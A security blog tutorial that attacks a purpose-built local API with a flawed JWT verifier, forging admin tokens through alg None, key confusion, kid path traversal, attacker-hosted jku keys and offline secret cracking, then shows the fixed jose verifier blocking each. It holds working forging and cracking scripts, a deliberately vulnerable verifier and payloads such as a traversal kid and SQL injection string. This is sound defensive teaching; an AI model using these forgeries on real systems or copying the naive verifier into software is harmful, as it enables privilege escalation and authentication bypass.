Skip to content
Blog

← All articles

Forging JWTs from the Attacker’s Side: Admin Without the Key

An attacker with an ordinary account and their own JWT can often become admin without ever seeing the signing key. We built a vulnerable API and forged an admin token five ways: alg None, RS256-to-HS256 confusion with the public key, a kid that reads /dev/null, a jku pointing at the attacker’s key set, and a weak HS256 secret cracked offline. Then we fixed the API and sent the same forgeries again.

By 18 min read

A JWT looks like a sealed envelope. It’s signed, the server checks the signature, and if you change one character in the claims, the check fails. So an attacker with an ordinary account, holding an ordinary token that says "role": "user", can’t make it say "admin". Not without the key.

That’s true of the cryptography and often false of the code around it. The token doesn’t only carry claims: its header tells the server which algorithm to check it with, which key to use, and sometimes where to download that key. Every one of those is input the attacker writes. This article takes the attacker’s side: we built an API with the kind of verifier people write by hand, signed in as an ordinary user, and forged an admin token five different ways without ever seeing the private key. Then we fixed the API, sent the same five tokens again, and looked at what stopped each one.

Our JWT architecture guide lists these flaws from the defender’s side, one paragraph per flaw. Here we run them.

The short answer#

The attacker’s view: who decides?#

The attacker starts where any user starts: they sign up, sign in, and get a token. Decoding it takes no key (paste it into the JWT decoder, or base64url-decode the first two parts). Ours, from the lab:

header   {"alg":"RS256","kid":"2026-11","typ":"JWT"}
payload  {"role":"user","sub":"mallory","iss":"http://localhost:4500","aud":"api","iat":…,"exp":…}

A defender reads that header as a description. An attacker reads it as a list of questions the server is about to ask the token, and asks back: who decides? If the server decides which algorithm and which key to use, the header is a hint, and changing it gets the attacker nothing. If the token decides, the attacker does, because the attacker writes the token.

Their tool is a token editor. A JWT is two base64url JSON objects and a signature over them, so it needs no library: decode, change, encode, sign with whatever key and algorithm you like:

forge.mjs
// forge.mjs: change a JWT's header and claims, then sign it again however you like. No library needed:
// a JWT is two base64url JSON objects and a signature over them.
// node forge.mjs <token> [--alg None|HS256|RS256] [--key file] [--header name=value] [--claim name=value]
import { createHmac, createSign } from "node:crypto";
import { readFileSync } from "node:fs";

const args = process.argv.slice(2);
const all = (name) => args.flatMap((a, i) => (a === name ? [args[i + 1]] : []));
const decode = (part) => JSON.parse(Buffer.from(part, "base64url"));
const encode = (obj) => Buffer.from(JSON.stringify(obj)).toString("base64url");
const set = (obj, pair) => { const [name, ...value] = pair.split("="); obj[name] = value.join("="); };

const [h, p] = args[0].split(".");
const header = decode(h), payload = decode(p); // the attacker's own, genuine token
all("--header").forEach((pair) => set(header, pair));
all("--claim").forEach((pair) => set(payload, pair));
header.alg = all("--alg")[0] ?? header.alg;

const key = all("--key").length ? readFileSync(all("--key")[0]) : Buffer.alloc(0); // no --key: an empty key
const data = `${encode(header)}.${encode(payload)}`;
const signature =
  header.alg.toLowerCase() === "none" ? ""
  : header.alg === "HS256" ? createHmac("sha256", key).update(data).digest("base64url")
  : createSign("RSA-SHA256").update(data).sign(key, "base64url");
console.log(`${data}.${signature}`);

That’s the whole kit. The attacker’s goal is one claim, role=admin, and every attack below is the same command with a different header or key.

The target: an API with a hand-written verifier#

The target is an API that accepts RS256 tokens: signed with the issuer’s RSA private key, checked with the public key, which it publishes as a JWK Set at /.well-known/jwks.json, like every OpenID Connect provider. It has /me for everyone and /admin for admins. In --naive mode, it checks tokens with a verifier of the kind that gets written when someone decides a library is overkill:

api.mjs
// api.mjs: an API that accepts RS256 access tokens. --naive checks them with a hand-written verifier.
// (The sign-in server and the API share one process here to keep the lab small.)
import { createServer } from "node:http";
import { createHmac, createPublicKey, createVerify, generateKeyPairSync } from "node:crypto";
import { mkdirSync, readFileSync, writeFileSync } from "node:fs";
import { SignJWT, createLocalJWKSet, jwtVerify } from "jose";

const NAIVE = process.argv.includes("--naive");
const PORT = process.env.PORT ?? 4500;
const ISSUER = `http://localhost:${PORT}`;
const KID = "2026-11";

// The signing key. The public half is published as a JWK Set, and saved where the naive verifier looks for keys.
const { privateKey, publicKey } = generateKeyPairSync("rsa", { modulusLength: 2048 });
mkdirSync("keys", { recursive: true });
writeFileSync(`keys/${KID}`, publicKey.export({ type: "spki", format: "pem" }));
const jwks = { keys: [{ ...publicKey.export({ format: "jwk" }), kid: KID, alg: "RS256", use: "sig" }] };

const b64 = (s) => Buffer.from(s, "base64url");
const ALGORITHMS = {
  hs256: (key, data, sig) => createHmac("sha256", key).update(data).digest("base64url") === sig,
  rs256: (key, data, sig) => createVerify("RSA-SHA256").update(data).verify(key, b64(sig)),
  none: (key, data, sig) => sig === "", // for unsigned tokens in local tests
};

async function naiveVerify(token) {
  const [h, p, sig] = token.split(".");
  const header = JSON.parse(b64(h)), payload = JSON.parse(b64(p));
  if (header.alg === "none") return null; // never accept unsigned tokens in production
  // The key: from the token's jku if it has one (so partners can sign with their own keys), else keys/<kid>.
  let key;
  if (header.jku) {
    const { keys } = await (await fetch(header.jku)).json();
    key = createPublicKey({ key: keys.find((k) => k.kid === header.kid), format: "jwk" });
  } else {
    key = readFileSync(`keys/${header.kid}`);
  }
  const check = ALGORITHMS[header.alg.toLowerCase()]; // "RS256", "rs256", whatever the issuer sends
  if (!check?.(key, `${h}.${p}`, sig)) return null;
  return payload.exp > Date.now() / 1000 ? payload : null;
}

// The fix: the algorithm is ours, the keys are ours, and the token only says which of our keys it used.
const keySet = createLocalJWKSet(jwks);
async function verify(token) {
  const { payload } = await jwtVerify(token, keySet, { algorithms: ["RS256"], issuer: ISSUER, audience: "api" });
  return payload;
}

createServer(async (req, res) => {
  const send = (status, text) => res.writeHead(status).end(`${text}\n`);
  if (req.url === "/.well-known/jwks.json") return res.writeHead(200, { "Content-Type": "application/json" }).end(JSON.stringify(jwks));
  if (req.method === "POST" && req.url === "/login") { // (the password check is left out)
    let body = "";
    for await (const chunk of req) body += chunk;
    const token = await new SignJWT({ role: "user" })
      .setProtectedHeader({ alg: "RS256", kid: KID, typ: "JWT" })
      .setSubject(JSON.parse(body).user).setIssuer(ISSUER).setAudience("api").setIssuedAt().setExpirationTime("15m")
      .sign(privateKey);
    return send(200, token);
  }
  const token = /^Bearer (.+)$/.exec(req.headers.authorization ?? "")?.[1];
  let user = null;
  try {
    user = token && (NAIVE ? await naiveVerify(token) : await verify(token));
  } catch (err) {
    console.log(`rejected: ${err.code ?? err.message}`); // the reason stays in the server's log
  }
  if (!user) return send(401, "invalid token");
  if (req.url === "/me") return send(200, `hello ${user.sub} (${user.role})`);
  if (req.url === "/admin") return user.role === "admin" ? send(200, `admin panel: welcome, ${user.sub}`) : send(403, "admins only");
  send(404, "not found");
}).listen(PORT);

Read naiveVerify the way a reviewer would, and it looks careful. It refuses none explicitly. It supports key rotation through kid. It accepts partners’ keys through jku. It normalizes the algorithm name. It checks the expiry. With honest tokens, every test passes:

$ node api.mjs --naive &
$ TOKEN=$(curl -s localhost:4500/login -d '{"user":"mallory"}')
$ admin() { curl -s -H "Authorization: Bearer $1" localhost:4500/admin; }
$ admin "$TOKEN"
admins only

Now read it the way the attacker does: every line that reads the header is a door.

Forgery 1: alg None#

The oldest JWT attack. The JWT standard defines "alg": "none" for tokens with no signature, and in 2015, Tim McLean found that several popular libraries accepted such a token whenever its header said so. Our verifier knows about that and refuses it. The attacker tries it anyway, because it costs one request, and then tries again with a capital letter:

$ admin "$(node forge.mjs "$TOKEN" --alg none --claim role=admin)"
invalid token
$ admin "$(node forge.mjs "$TOKEN" --alg None --claim role=admin)"
admin panel: welcome, mallory

The blocklist compared alg exactly; the dispatcher lowercased it first, to be lenient with issuers. Two lines, each reasonable, added up to an unsigned token with admin rights. Algorithm names in JOSE are case-sensitive, so lenience here helps nobody but attackers, and attack checklists list None, NONE and nOnE for exactly this reason.

The habit to take from this: a blocklist is a list of things the attacker will try variations of. The fix isn’t a better blocklist (case-insensitive, trimmed, Unicode-normalized…). It’s an allowlist of the one algorithm you issue, compared exactly, before anything else happens.

Forgery 2: the public key as an HMAC secret#

Suppose the none check were right. The verifier still lets the token choose between RS256 and HS256, and it uses the same key for both. For RS256, the key is the issuer’s public key, and that’s fine. For HS256, the key is an HMAC secret, and the verifier passes it the same bytes: the public key. If the attacker signs an HS256 token with the public key as the secret, the server computes the same HMAC and accepts it.

Getting the public key is no trouble: it’s public, served from the JWKS endpoint for anyone who wants to verify tokens. The only work is matching the exact bytes the server uses as the secret, and servers usually keep keys as PEM files:

jwk-to-pem.mjs
// jwk-to-pem.mjs: download an issuer's public keys and save each one as PEM, the way servers usually store them.
// node jwk-to-pem.mjs http://localhost:4500/.well-known/jwks.json
import { createPublicKey } from "node:crypto";
import { writeFileSync } from "node:fs";

const { keys } = await (await fetch(process.argv[2])).json();
for (const jwk of keys) {
  const pem = createPublicKey({ key: jwk, format: "jwk" }).export({ type: "spki", format: "pem" });
  writeFileSync(`${jwk.kid}.pem`, pem);
  console.log(`${jwk.kid}.pem`);
}
$ node jwk-to-pem.mjs http://localhost:4500/.well-known/jwks.json
2026-11.pem
$ admin "$(node forge.mjs "$TOKEN" --alg HS256 --key 2026-11.pem --claim role=admin)"
admin panel: welcome, mallory

In our lab, the API wrote its PEM with the same Node.js function the attacker used, so the bytes matched on the first try. Against a real server, they might not: a PEM file can end with a newline or not, and hold the key in SPKI or the older PKCS#1 format. That stops nobody for long, because each variant is one more request. Algorithm confusion was the second bug in McLean’s 2015 report (in node-jsonwebtoken, CVE-2015-9235), and it isn’t history: jsonwebtoken 9.0.0, in December 2022, fixed a variant of it as CVE-2022-23541, along with an insecure default that could accept unsigned tokens (CVE-2022-23540).

Two things stop it. The allowlist again: an API that only issues RS256 has no reason to run HMAC at all. And keys that know their algorithm: in jose and the Web Crypto API, an RSA public key is a key object that can’t be used as an HMAC secret, so even a verifier that let the token choose would fail. The bug needs a key that’s just bytes.

Forgery 3: a kid that reads /dev/null#

kid (key ID) is there so an issuer can rotate keys: each token names the key that signed it, and the verifier picks that one. Our verifier picks it by reading keys/<kid> from disk. That makes kid a file path the attacker chooses, and the attacker wants a file whose contents they know. Every Unix machine has one that’s empty:

$ admin "$(node forge.mjs "$TOKEN" --alg HS256 --header kid=../../../../../../../../dev/null --claim role=admin)"
admin panel: welcome, mallory

keys/../../../../../../../../dev/null walks up to the root (eight levels is more than enough) and reads nothing, so the HMAC secret is zero bytes, and forge.mjs signed with zero bytes because it was given no key. Extra ../ do no harm, since the root’s parent is the root, so the attacker doesn’t need to know how deep the keys folder is. Other predictable files work too (a file served as a static asset, /proc/sys/kernel/randomize_va_space, which holds 2 and a newline). And when kid goes into a SQL query instead, the classic payload makes the query return a key of the attacker’s choosing: ' UNION SELECT 'attacker-secret.

Notice that this forgery doesn’t need the public key, and it would still work if HS256 were the only algorithm the API used. The allowlist stops this one in our lab only because the API is RS256. The real fix is that kid is a name, looked up in a map of keys you loaded yourself; a name that isn’t in the map is an error, not a path.

Forgery 4: a jku pointing at the attacker’s keys#

jku (JWK Set URL) is a header parameter that says where to download the key that verifies the token. Our verifier follows it, “so partners can sign with their own keys”. That’s the attacker’s favorite kind of feature: they are a partner now. They make a key pair, keep the private key, and serve the public key from a server of their own:

evil-jwks.mjs
// evil-jwks.mjs: the attacker's own key set. Makes a key pair, keeps the private half in evil.pem, serves the public half.
import { createServer } from "node:http";
import { generateKeyPairSync } from "node:crypto";
import { writeFileSync } from "node:fs";

const { privateKey, publicKey } = generateKeyPairSync("rsa", { modulusLength: 2048 });
writeFileSync("evil.pem", privateKey.export({ type: "pkcs8", format: "pem" }));
const jwks = JSON.stringify({ keys: [{ ...publicKey.export({ format: "jwk" }), kid: "evil", alg: "RS256" }] });

createServer((req, res) => {
  console.log(`key set fetched by ${req.socket.remoteAddress}: ${req.method} ${req.url}`); // the target calling us
  res.writeHead(200, { "Content-Type": "application/json" }).end(jwks);
}).listen(process.env.PORT ?? 4400);
$ node evil-jwks.mjs &
$ admin "$(node forge.mjs "$TOKEN" --alg RS256 --key evil.pem \
    --header jku=http://localhost:4400/jwks.json --header kid=evil --claim role=admin)"
key set fetched by ::1: GET /jwks.json
admin panel: welcome, mallory

This is a valid RS256 signature, checked correctly, with the attacker’s key. The API asked the attacker which key to trust, and the attacker said their own. The line from evil-jwks.mjs shows a second problem: the API makes HTTP requests to any URL a token names. Point jku at an internal address, like a cloud metadata service or an admin port, and the API makes the request from inside your network: server-side request forgery, from an unauthenticated request.

The usual first fix is to check the URL’s prefix, and the attacker’s habit is to find what the check covers. A check for “starts with https://auth.example.com” passes https://auth.example.com.attacker.net/jwks.json and https://auth.example.com@attacker.net/jwks.json, and an exact host check still passes an open redirect on the right host. x5u (a URL to a certificate) has the same problem, and jwk and x5c skip the server entirely by putting the attacker’s key in the token itself (Cisco’s node-jose, CVE-2018-0114). The fix is not to read any of them: the keys come from the issuer you configured, and nothing in a token can add one.

Forgery 5: cracking a weak HS256 secret#

The last target does nothing wrong in code. It’s an admin panel’s API that uses jose properly, with an algorithm allowlist, and signs HS256 tokens with a shared secret. In --naive mode, that secret is letmein2026, chosen by whoever set the project up:

panel.mjs
// panel.mjs: an admin panel's API. It uses jose correctly, with an HS256 secret. --naive uses the secret someone
// picked when the project started; the fix reads 32 random bytes from JWT_SECRET (openssl rand -base64 32).
import { createServer } from "node:http";
import { SignJWT, jwtVerify } from "jose";

const secret = process.argv.includes("--naive")
  ? new TextEncoder().encode("letmein2026")
  : Buffer.from(process.env.JWT_SECRET ?? "", "base64");
if (!process.argv.includes("--naive") && secret.length < 32) throw new Error("JWT_SECRET must be 32 random bytes, base64");

createServer(async (req, res) => {
  const send = (status, text) => res.writeHead(status).end(`${text}\n`);
  if (req.method === "POST" && req.url === "/login") { // (the password check is left out)
    let body = "";
    for await (const chunk of req) body += chunk;
    const token = await new SignJWT({ role: "user" }).setProtectedHeader({ alg: "HS256", typ: "JWT" })
      .setSubject(JSON.parse(body).user).setIssuedAt().setExpirationTime("1h").sign(secret);
    return send(200, token);
  }
  const token = /^Bearer (.+)$/.exec(req.headers.authorization ?? "")?.[1] ?? "";
  const user = await jwtVerify(token, secret, { algorithms: ["HS256"] }).then((r) => r.payload, () => null);
  if (!user) return send(401, "invalid token");
  if (req.url === "/admin") return user.role === "admin" ? send(200, `admin panel: welcome, ${user.sub}`) : send(403, "admins only");
  send(404, "not found");
}).listen(process.env.PORT ?? 4600);

HS256 has a property that matters to an attacker: any token signed with the secret lets you test a guess at the secret. Compute HMAC-SHA256 of the first two parts with the guess, and compare it to the third. No request to the server, no rate limit, no lockout, no log line. The attacker’s own token is enough:

crack.mjs
// crack.mjs: guess an HS256 token's secret offline. Each guess is one HMAC, and the server never sees any of them.
// node crack.mjs <token> words.txt
import { createHmac } from "node:crypto";
import { readFileSync } from "node:fs";

const [token, list] = process.argv.slice(2);
const [h, p, signature] = token.split(".");
const data = `${h}.${p}`;
const words = readFileSync(list, "utf8").split(/\r?\n/).filter(Boolean);
const years = Array.from({ length: 16 }, (_, i) => String(2015 + i)); // people add a year: summer2024

const start = performance.now();
let tried = 0;
for (const word of words) {
  for (const guess of [word, ...years.map((year) => word + year)]) {
    tried++;
    if (createHmac("sha256", guess).update(data).digest("base64url") !== signature) continue;
    const seconds = (performance.now() - start) / 1000;
    console.log(`secret: ${guess} (${tried.toLocaleString("en-US")} guesses in ${seconds.toFixed(2)} s)`);
    process.exit(0);
  }
}
const seconds = (performance.now() - start) / 1000;
console.log(`not found: ${tried.toLocaleString("en-US")} guesses in ${seconds.toFixed(2)} s, ${Math.round(tried / seconds).toLocaleString("en-US")} a second`);
process.exit(1);

With a 10,000-word list and one rule (a year from 2015 to 2030 on the end, because people do that), on one CPU core in a Docker container:

$ TOKEN=$(curl -s localhost:4600/login -d '{"user":"mallory"}')
$ node crack.mjs "$TOKEN" words.txt
secret: letmein2026 (104,104 guesses in 0.56 s)
$ printf letmein2026 > secret.txt
$ curl -s -H "Authorization: Bearer $(node forge.mjs "$TOKEN" --key secret.txt --claim role=admin)" localhost:4600/admin
admin panel: welcome, mallory

That’s about 190,000 guesses a second in plain JavaScript. Real attackers use hashcat, which has a mode for JWTs (-m 16500) and runs on GPUs thousands of times faster, with wordlists of millions of leaked passwords and rule sets far beyond adding a year. Any secret a person chose, or a phrase from documentation or a tutorial, should be assumed to have been found.

Against 32 random bytes, the same attack has no chance: there are 2256 possible secrets, and no wordlist contains one. The fixed panel.mjs reads its secret from JWT_SECRET (made with openssl rand -base64 32) and refuses to start with anything shorter, which is also what RFC 7518 requires: an HS256 key at least as long as the hash, 256 bits.

$ JWT_SECRET=$(openssl rand -base64 32) node panel.mjs &
$ node crack.mjs "$TOKEN" words.txt
not found: 170,000 guesses in 0.91 s, 187,296 a second

There’s a second lesson here. Every service that verifies an HS256 token holds the secret used to sign them, so a leak from any of them lets the attacker mint tokens for all of them. If more than one service checks your tokens, use an asymmetric algorithm (RS256, ES256, EdDSA), and the verifiers hold nothing worth stealing. Our symmetric vs. asymmetric article explains the difference.

The fix, and the forgeries again#

Without --naive, api.mjs verifies with jose, and the whole verifier is three lines:

const keySet = createLocalJWKSet(jwks);
const { payload } = await jwtVerify(token, keySet, { algorithms: ["RS256"], issuer: ISSUER, audience: "api" });

Each part takes a decision away from the token. algorithms is the allowlist. The key set was loaded by the server (in production, createRemoteJWKSet on the issuer URL you configured), so kid can only pick one of those keys, and jku is never read. Issuer and audience are checked too, which the naive verifier skipped. The same five forged tokens, and what the API logged for each:

alg none                      401  ERR_JOSE_ALG_NOT_ALLOWED
alg None                      401  ERR_JOSE_ALG_NOT_ALLOWED
HS256 with the public key     401  ERR_JOSE_ALG_NOT_ALLOWED
HS256 with kid /dev/null      401  ERR_JOSE_ALG_NOT_ALLOWED
RS256 with jku and kid evil   401  ERR_JWKS_NO_MATCHING_KEY    (and evil-jwks.mjs was never called)

The allowlist stopped four of the five before any key was touched. The fifth had the right algorithm, so it got as far as the key set, which had no key called evil, and it never looked at the URL. The clients see only invalid token; telling an attacker which check failed would help them try the next variation.

If you can’t switch libraries, the checklist for a hand-written verifier is the same list in code: compare alg exactly against an allowlist before anything else, look kid up in a map, ignore jku, x5u, jwk and x5c, use a key object bound to its algorithm, and check exp, iss and aud. But this is a place where a maintained library is worth its weight: each of these bugs has been found, fixed and tested there already.

The header map: what each field lets an attacker try#

FieldIf the server trusts it, the attacker…ForgeryWhat stops it
algPicks the algorithm the server uses to check the signature1 (None), 2 (HS256)An allowlist in the server, compared exactly: algorithms: ["RS256"]. Each key used for one algorithm only
kidPicks the key, if the server uses it as more than a name3A lookup in a key set loaded at startup; never a file path, SQL value or URL
jku, x5uTells the server where to download the key4Ignore them. Keys come from the issuer URL you configured
jwk, x5cPuts the key inside the token it should verifyThe same as 4, without a serverIgnore them. A key that arrives with the token proves nothing
The signature (HS256)Every token is a test for guesses at the secret, offline532 random bytes, from a secrets store; or an asymmetric algorithm, so APIs hold no signing secret
aud, iss, exp, typA genuine token, used somewhere it wasn’t meant forReplay attacksCheck every one, in every API

One more, outside this lab because it lives in the platform rather than your code: in 2022, Java 15 to 18 accepted an all-zero ECDSA signature as valid for any message and any key (CVE-2022-21449, “psychic signatures”), so ES256 verification in an unpatched JVM could be bypassed with no key at all. Keeping runtimes and JWT libraries patched is part of the fix.

Forge your own tokens: a checklist#

Against a test environment, with a token from a test account, each of these takes a minute with forge.mjs or the JWT editor. Every one should get a 401:

  1. Change a claim and keep the signature. If this works, nothing checks signatures at all (it happens: decode used where verify was meant).
  2. Set alg to none, None, NONE and nOnE, with an empty signature.
  3. If you issue RS256 or ES256, sign HS256 with your public key, as PEM, with and without a trailing newline.
  4. Set kid to ../../../../../../../../dev/null and sign HS256 with an empty key; then try a kid with a quote in it, and watch the logs for SQL errors.
  5. Add a jku, an x5u and a jwk for a key you made, and watch whether anything fetches your URL.
  6. If you use HS256, run your secret through a cracker with a real wordlist, or check that it’s 32 random bytes from a secrets store and not a phrase in a config file.
  7. Send a genuine token where it doesn’t belong: expired, for another audience, from another issuer or tenant, an ID token where an access token goes. That’s replay rather than forgery, and the same API should refuse it.

What we tested#

Every code block above is in the article’s examples file. A test script extracts them unchanged and runs them in one Alpine container with Node 24 and jose 6.2.13: it signs in as an ordinary user, forges the admin tokens, and sends them to each server, naive and fixed (7 checks):

  • alg: with --naive, none was refused, and None opened /admin; an HS256 token signed with the PEM made from the API’s JWKS opened it too.
  • kid: HS256 with kid ../../../../../../../../dev/null and an empty key opened /admin.
  • jku: an RS256 token signed with the attacker’s key opened /admin, and the attacker’s server logged the API fetching its key set.
  • The fixed API refused all five forgeries with the errors above, and the attacker’s key set was never fetched.
  • Weak secret: crack.mjs found letmein2026 in 104,104 guesses from the attacker’s own token, and the forged admin token worked; against a random 32-byte secret, all 170,000 guesses failed, and the fixed panel refused to start with a short secret.

The wordlist in the test is 10,000 made-up words with letmein among them; real wordlists, like the 14 million passwords in rockyou.txt, are bigger and better. Timings are from one run and will vary with your machine.

FAQ#

Can someone change a JWT without the key?

They can change anything in it; it’s just base64url. What they can’t do is make a valid signature for the changed token, so a correct verifier rejects it. Every forgery in this article worked because the verifier let the token pick a weaker check, or a key the attacker knew.

Is it safe to decode a JWT without verifying it?

To read it, yes, and the JWT decoder does exactly that. To trust it, no: never make a decision from a decoded token that wasn’t verified first. Our JWS mechanics article shows what the signature covers, byte by byte.

Is HS256 insecure?

No. HMAC-SHA256 with 32 random bytes can’t be cracked. HS256 is risky in two ways: people choose secrets they can remember, and every service that checks a token can also make one. For a single service that issues and checks its own tokens with a generated secret, it’s fine.

Do modern libraries still have these bugs?

The well-known ones have been fixed, mostly by refusing to let the token decide: jose requires keys bound to an algorithm and never fetches jku. But the defaults vary between libraries and versions, which is why you pass the allowlist explicitly anyway. Most of the bugs found today are in hand-written verifiers and in “helpful” extras around a good library, like a key loader that reads kid from disk.

What if the attacker steals a real admin token instead?

Then nothing in this article helps, because the token is genuine. That’s a replay attack, and the defenses are short lifetimes, audiences, and binding the token to a key with DPoP.

Try it in your browser

  • JWT Decoder, Encoder & Editor: decode your own token to see its header, then edit the alg, kid or claims and re-sign it: the same steps as forge.mjs, in the browser, against your own test API.
  • Base64 Encoder / Decoder: a JWT’s header and payload are base64url JSON; decode them by hand to see that nothing in them is hidden.
  • Hash Generator: compute HMAC-SHA256 of a token’s first two parts with a guessed secret: one guess of the cracker in this article.